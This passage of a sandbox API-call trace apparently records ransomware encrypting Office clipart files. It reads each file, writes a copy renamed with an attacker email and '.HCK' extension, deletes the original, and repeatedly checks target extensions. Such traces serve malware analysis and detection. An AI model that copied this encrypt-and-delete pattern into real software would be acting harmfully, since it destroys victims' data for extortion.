dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.504] GetLastError () returned 0x0 [0166.504] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd00, lpOverlapped=0x0) returned 1 [0166.507] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd10, lpOverlapped=0x0) returned 1 [0166.508] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.508] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.508] SetEndOfFile (hFile=0x394) returned 1 [0166.540] CloseHandle (hObject=0x394) returned 1 [0166.576] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.576] SetEndOfFile (hFile=0x2ec) returned 1 [0166.706] CloseHandle (hObject=0x2ec) returned 1 [0166.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".doc") returned 4 [0166.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString=".docx") returned 5 [0166.714] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.714] lstrlenW (lpString=".pdf") returned 4 [0166.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString=".xls") returned 4 [0166.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.714] lstrlenW (lpString=".xlsx") returned 5 [0166.714] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.714] lstrlenW (lpString=".ppt") returned 4 [0166.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".zip") returned 4 [0166.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.714] lstrlenW (lpString=".rar") returned 4 [0166.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString=".bz2") returned 4 [0166.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString=".7z") returned 3 [0166.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".dbf") returned 4 [0166.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".1cd") returned 4 [0166.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".jpg") returned 4 [0166.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.714] lstrlenW (lpString=".doc") returned 4 [0166.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.714] lstrlenW (lpString=".docx") returned 5 [0166.714] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.714] lstrlenW (lpString=".pdf") returned 4 [0166.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString=".xls") returned 4 [0166.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.715] lstrlenW (lpString=".xlsx") returned 5 [0166.715] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.715] lstrlenW (lpString=".ppt") returned 4 [0166.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.715] lstrlenW (lpString=".zip") returned 4 [0166.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.715] lstrlenW (lpString=".rar") returned 4 [0166.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString=".bz2") returned 4 [0166.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString=".7z") returned 3 [0166.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.715] lstrlenW (lpString=".dbf") returned 4 [0166.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.715] lstrlenW (lpString=".1cd") returned 4 [0166.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0166.715] lstrlenW (lpString=".jpg") returned 4 [0166.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.715] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.715] lstrlenW (lpString="J0105490.WMF") returned 12 [0166.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.721] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18728) returned 1 [0166.722] CloseHandle (hObject=0x330) returned 1 [0166.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0166.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.728] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.729] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.759] GetLastError () returned 0x0 [0166.759] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4928, lpOverlapped=0x0) returned 1 [0166.761] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4930, lpOverlapped=0x0) returned 1 [0166.762] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.762] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.762] SetEndOfFile (hFile=0x308) returned 1 [0166.769] CloseHandle (hObject=0x308) returned 1 [0166.771] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.771] SetEndOfFile (hFile=0x39c) returned 1 [0166.776] CloseHandle (hObject=0x39c) returned 1 [0166.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".doc") returned 4 [0166.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString=".docx") returned 5 [0166.783] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.783] lstrlenW (lpString=".pdf") returned 4 [0166.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString=".xls") returned 4 [0166.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.783] lstrlenW (lpString=".xlsx") returned 5 [0166.783] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.783] lstrlenW (lpString=".ppt") returned 4 [0166.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".zip") returned 4 [0166.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.783] lstrlenW (lpString=".rar") returned 4 [0166.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString=".bz2") returned 4 [0166.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString=".7z") returned 3 [0166.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".dbf") returned 4 [0166.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".1cd") returned 4 [0166.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".jpg") returned 4 [0166.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.783] lstrlenW (lpString=".doc") returned 4 [0166.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString=".docx") returned 5 [0166.784] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.784] lstrlenW (lpString=".pdf") returned 4 [0166.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString=".xls") returned 4 [0166.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.784] lstrlenW (lpString=".xlsx") returned 5 [0166.784] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.784] lstrlenW (lpString=".ppt") returned 4 [0166.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.784] lstrlenW (lpString=".zip") returned 4 [0166.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.784] lstrlenW (lpString=".rar") returned 4 [0166.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString=".bz2") returned 4 [0166.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString=".7z") returned 3 [0166.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.784] lstrlenW (lpString=".dbf") returned 4 [0166.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.784] lstrlenW (lpString=".1cd") returned 4 [0166.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0166.784] lstrlenW (lpString=".jpg") returned 4 [0166.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.784] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.784] lstrlenW (lpString="J0105506.WMF") returned 12 [0166.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0166.787] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2912) returned 1 [0166.787] CloseHandle (hObject=0x2f4) returned 1 [0166.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0166.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.819] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.819] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0166.843] GetLastError () returned 0x0 [0166.843] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb60, lpOverlapped=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb70, lpOverlapped=0x0) returned 1 [0166.857] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.857] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.857] SetEndOfFile (hFile=0x398) returned 1 [0166.866] CloseHandle (hObject=0x398) returned 1 [0166.870] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.870] SetEndOfFile (hFile=0x378) returned 1 [0166.877] CloseHandle (hObject=0x378) returned 1 [0166.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0166.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".doc") returned 4 [0166.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString=".docx") returned 5 [0166.881] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.881] lstrlenW (lpString=".pdf") returned 4 [0166.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString=".xls") returned 4 [0166.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.881] lstrlenW (lpString=".xlsx") returned 5 [0166.881] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.881] lstrlenW (lpString=".ppt") returned 4 [0166.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".zip") returned 4 [0166.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.881] lstrlenW (lpString=".rar") returned 4 [0166.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString=".bz2") returned 4 [0166.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString=".7z") returned 3 [0166.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".dbf") returned 4 [0166.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".1cd") returned 4 [0166.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".jpg") returned 4 [0166.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.881] lstrlenW (lpString=".doc") returned 4 [0166.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.881] lstrlenW (lpString=".docx") returned 5 [0166.881] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.881] lstrlenW (lpString=".pdf") returned 4 [0166.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString=".xls") returned 4 [0166.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.882] lstrlenW (lpString=".xlsx") returned 5 [0166.882] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.882] lstrlenW (lpString=".ppt") returned 4 [0166.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.882] lstrlenW (lpString=".zip") returned 4 [0166.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.882] lstrlenW (lpString=".rar") returned 4 [0166.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString=".bz2") returned 4 [0166.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString=".7z") returned 3 [0166.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.882] lstrlenW (lpString=".dbf") returned 4 [0166.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.882] lstrlenW (lpString=".1cd") returned 4 [0166.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0166.882] lstrlenW (lpString=".jpg") returned 4 [0166.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.882] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.882] lstrlenW (lpString="J0105588.WMF") returned 12 [0166.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0166.887] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=21548) returned 1 [0166.887] CloseHandle (hObject=0x2f4) returned 1 [0166.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0166.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.908] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.908] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.922] GetLastError () returned 0x0 [0166.922] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x542c, lpOverlapped=0x0) returned 1 [0166.925] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5430, lpOverlapped=0x0) returned 1 [0166.926] ReadFile 